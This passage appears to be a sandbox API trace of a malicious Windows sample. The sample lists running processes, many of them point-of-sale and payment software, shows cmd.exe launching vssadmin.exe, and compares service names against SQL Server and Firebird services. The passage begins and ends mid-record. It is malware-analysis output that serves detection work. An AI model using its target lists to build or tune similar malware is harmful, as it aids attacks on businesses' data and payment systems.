(in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0096.097] lstrlenW (lpString="active-charge.exe") returned 17 [0096.097] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0096.099] lstrlenW (lpString="accupos.exe") returned 11 [0096.099] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0096.100] lstrlenW (lpString="afr38.exe") returned 9 [0096.100] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0096.101] lstrlenW (lpString="aldelo.exe") returned 10 [0096.101] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0096.102] lstrlenW (lpString="ccv_server.exe") returned 14 [0096.102] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0096.104] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0096.104] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0096.105] lstrlenW (lpString="creditservice.exe") returned 17 [0096.106] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0096.106] lstrlenW (lpString="edcsvr.exe") returned 10 [0096.107] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0096.107] lstrlenW (lpString="fpos.exe") returned 8 [0096.108] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0096.108] lstrlenW (lpString="isspos.exe") returned 10 [0096.109] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0096.110] lstrlenW (lpString="mxslipstream.exe") returned 16 [0096.110] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0096.111] lstrlenW (lpString="omnipos.exe") returned 11 [0096.111] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0096.112] lstrlenW (lpString="spcwin.exe") returned 10 [0096.112] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0096.113] lstrlenW (lpString="spgagentservice.exe") returned 19 [0096.113] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0096.114] lstrlenW (lpString="utg2.exe") returned 8 [0096.114] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0096.115] lstrlenW (lpString="atlascomedy.exe") returned 15 [0096.115] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0096.116] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0096.116] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0096.117] lstrlenW (lpString="ntsc.exe") returned 8 [0096.117] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0096.118] lstrlenW (lpString="criteria.exe") returned 12 [0096.118] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.121] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0096.121] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.122] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0096.122] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0096.577] lstrlenW (lpString="taskhost.exe") returned 12 [0096.580] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0096.605] lstrlenW (lpString="winhost.exe") returned 11 [0096.606] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0096.614] lstrlenW (lpString="cmd.exe") returned 7 [0096.615] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.616] lstrlenW (lpString="conhost.exe") returned 11 [0096.616] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0096.617] lstrlenW (lpString="vssadmin.exe") returned 12 [0096.617] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0096.619] lstrlenW (lpString="VSSVC.exe") returned 9 [0096.619] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.620] lstrlenW (lpString="svchost.exe") returned 11 [0096.620] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0096.620] CloseHandle (hObject=0x1b0) returned 1 [0096.621] Sleep (dwMilliseconds=0x1f4) [0097.275] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609bd8 [0097.276] EnumServicesStatusExW (in: hSCManager=0x609bd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0097.277] GetLastError () returned 0xea [0097.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12c6) returned 0x39777a0 [0097.278] EnumServicesStatusExW (in: hSCManager=0x609bd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x12c6, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0097.279] CloseServiceHandle (hSCObject=0x609bd8) returned 1 [0097.280] lstrlenW (lpString="Appinfo") returned 7 [0097.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0097.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0097.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0097.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0097.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0097.280] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0097.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0097.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0097.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0097.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0097.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0097.281] lstrlenW (lpString="AudioSrv") returned 8 [0097.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0097.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0097.281] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0097.281] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0097.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0097.281] lstrlenW (lpString="BFE") returned 3 [0097.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0097.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0097.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0097.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0097.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0097.281] lstrlenW (lpString="CryptSvc") returned 8 [0097.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0097.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0097.282] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0097.282] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0097.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0097.282] lstrlenW (lpString="CscService") returned 10 [0097.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0097.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0097.282] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0097.282] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0097.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0097.282] lstrlenW (lpString="DcomLaunch") returned 10 [0097.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0097.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0097.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0097.283] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0097.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0097.283] lstrlenW (lpString="Dhcp") returned 4 [0097.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0097.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0097.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0097.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0097.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0097.283] lstrlenW (lpString="Dnscache") returned 8 [0097.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0097.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0097.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0097.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0097.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0097.283] lstrlenW (lpString="DPS") returned 3 [0097.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0097.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0097.284] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0097.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0097.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0097.284] lstrlenW (lpString="eventlog") returned 8 [0097.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0097.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0097.284] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0097.284] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0097.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0097.284] lstrlenW (lpString="EventSystem") returned 11 [0097.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0097.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0097.284] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0097.284] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0097.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0097.284] lstrlenW (lpString="gpsvc") returned 5 [0097.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0097.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0097.285] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0097.285] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0097.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0097.285] lstrlenW (lpString="iphlpsvc") returned 8 [0097.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0097.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0097.285] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0097.285] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0097.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0097.285] lstrlenW (lpString="LanmanServer") returned 12 [0097.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0097.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0097.285] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0097.285] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0097.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0097.286] lstrlenW (lpString="LanmanWorkstation") returned 17 [0097.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0097.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0097.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0097.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0097.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0097.286] lstrlenW (lpString="lmhosts") returned 7 [0097.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0097.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0097.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0097.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0097.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0097.286] lstrlenW (lpString="MMCSS") returned 5 [0097.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0097.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0097.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0097.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0097.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0097.287] lstrlenW (lpString="MpsSvc") returned 6 [0097.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0097.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0097.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0097.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0097.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0097.287] lstrlenW (lpString="Netman") returned 6 [0097.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0097.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0097.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0097.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0097.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0097.288] lstrlenW (lpString="netprofm") returned 8 [0097.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0097.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0097.288] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0097.288] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0097.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0097.288] lstrlenW (lpString="NlaSvc") returned 6 [0097.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0097.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0097.288] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0097.288] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0097.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0097.289] lstrlenW (lpString="nsi") returned 3 [0097.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0097.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0097.289] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0097.289] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0097.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0097.289] lstrlenW (lpString="PcaSvc") returned 6 [0097.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0097.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0097.289] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0097.289] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0097.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0097.289] lstrlenW (lpString="PlugPlay") returned 8 [0097.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0097.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0097.289] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0097.289] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0097.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0097.290] lstrlenW (lpString="Power") returned 5 [0097.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0097.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0097.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0097.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0097.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0097.290] lstrlenW (lpString="ProfSvc") returned 7 [0097.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0097.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0097.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0097.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0097.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0097.290] lstrlenW (lpString="RpcEptMapper") returned 12 [0097.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0097.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0097.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0097.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0097.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0097.291] lstrlenW (lpString="RpcSs") returned 5 [0097.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0097.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0097.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0097.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0097.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0097.291] lstrlenW (lpString="SamSs") returned 5 [0097.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0097.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0097.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0097.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0097.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0097.292] lstrlenW (lpString="Schedule") returned 8 [0097.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0097.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0097.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0097.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0097.292] lstrcmpiW (lpString1="sqlserveradhelper", 